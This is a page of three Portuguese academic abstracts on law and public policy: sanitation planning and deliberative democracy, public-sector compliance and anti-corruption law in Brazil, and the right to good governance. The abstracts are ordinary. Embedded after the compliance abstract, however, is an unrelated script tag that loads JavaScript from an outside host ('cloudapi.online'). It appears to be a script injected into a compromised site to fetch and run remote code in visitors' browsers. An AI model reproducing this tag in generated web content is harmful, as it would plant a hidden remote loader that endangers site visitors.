O presente artigo tem como objetivo analisar a participação social através dos aparatos tecnológicos na elaboração do plano municipal de saneamento básico em momentos de crise da democracia. A construção da pesquisa perpassou por etapas necessárias para o alcance do objetivo geral, sendo elas: a) explicitar o direito humano ao saneamento básico e seus desdobramentos jurídicos globais; b) abordar sobre o saneamento básico como instrumento propulsor do desenvolvimento urbano sustentável e saudável; c) expor os desafios e obstáculos da participação social nos espaços democráticos; d) analisar a aplicação da Teoria da Democracia Deliberativa no processo de elaboração do plano municipal de saneamento básico; e) discorrer sobre uso das tecnologias como aliadas para o direcionamento estratégico da política pública de saneamento básico. Conclui-se que, com base no critério de validação das normas através do discurso e do modelo de democracia deliberativa presente em Habermas (1997), torna-se possível afirmar que a construção dos planos municipais de saneamento básico encontra subsídios fundantes na teoria habermasiana, ao criar espaços democraticamente inclusivos através da aplicação da tecnologia.
<p>O objetivo deste texto é analisar a importância do <em>Compliance</em> Público no Brasil, especialmente por força da edição da lei 13.303/16 e dos demais diplomas nacionais e internacionais que revestem o tema. A corrupção vem assolando o mundo moderno, em especial o Brasil. Esse cenário vem exigindo uma mudança comportamental por parte das empresas e não poderia ser diferente com o Poder Público. Partindo-se da previsão constitucional, em sequência, investigam-se as normas que exteriorizam a transparência necessária dos atos de gestão pública, de modo a evitar os atos de corrupção e de má-gestão pública. A busca da gestão de riscos e da implantação e manutenção de Programas de Integridade, por força do contido na Lei Anticorrupção (Lei nº 12.846/2013) são o alvo para a edição das normas afetas à Integridade na Administração Pública. Assim, diante de tais circunstâncias e por ser algo relativamente novo no país, nasceu o chamado <em>Compliance</em> <em>Público,</em> que além de já ser considerada uma realidade para o setor público em todo o Brasil, deve se consolidar em todas as esferas e órgãos federais, estaduais e municipais, sobretudo com a publicação do novo diploma legislativo.</p><script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script>
O presente artigo busca apresentar o conteúdo hermenêutico do Direito Fundamental à Boa Governança. Para tanto, inicialmente aborda a ideia de governança, partindo da influência que esse conceito sofreu do seu antecessor, isto é, de governabilidade. Fixado o conceito, desenvolve-se uma investigação sobre a formação do conteúdo jurídico do direito à boa governança, como cláusula geral a introduzir no sistema de controle de políticas públicas, aspectos finalísticos, procedimentais e econômicos. Mais à frente destaca o conteúdo do direito à boa governança com status de direito fundamental, calcado na Carta de Direitos Fundamentais da Europa (Carte de Nice), no caso específico dos países europeus do bloco, e ainda, como direito fundamental implícito, no caso brasileiro, tendo como escopo os seu aspecto democrático e republicano. Por fim, revela-se o conteúdo hermenêutico do direito fundamental à boa governança, propondo-se a identificação de que tal função hermenêutica, implementada pelo Poder Judiciário, deve estar centrada dentro de um binômio limitativo. De um lado, o controle proativo finalístico e procedimental por parte do Poder Judiciário e, de outro, como ponto limitador desta atuação, a autocontenção judicial em matérias de puro mérito administrativo.
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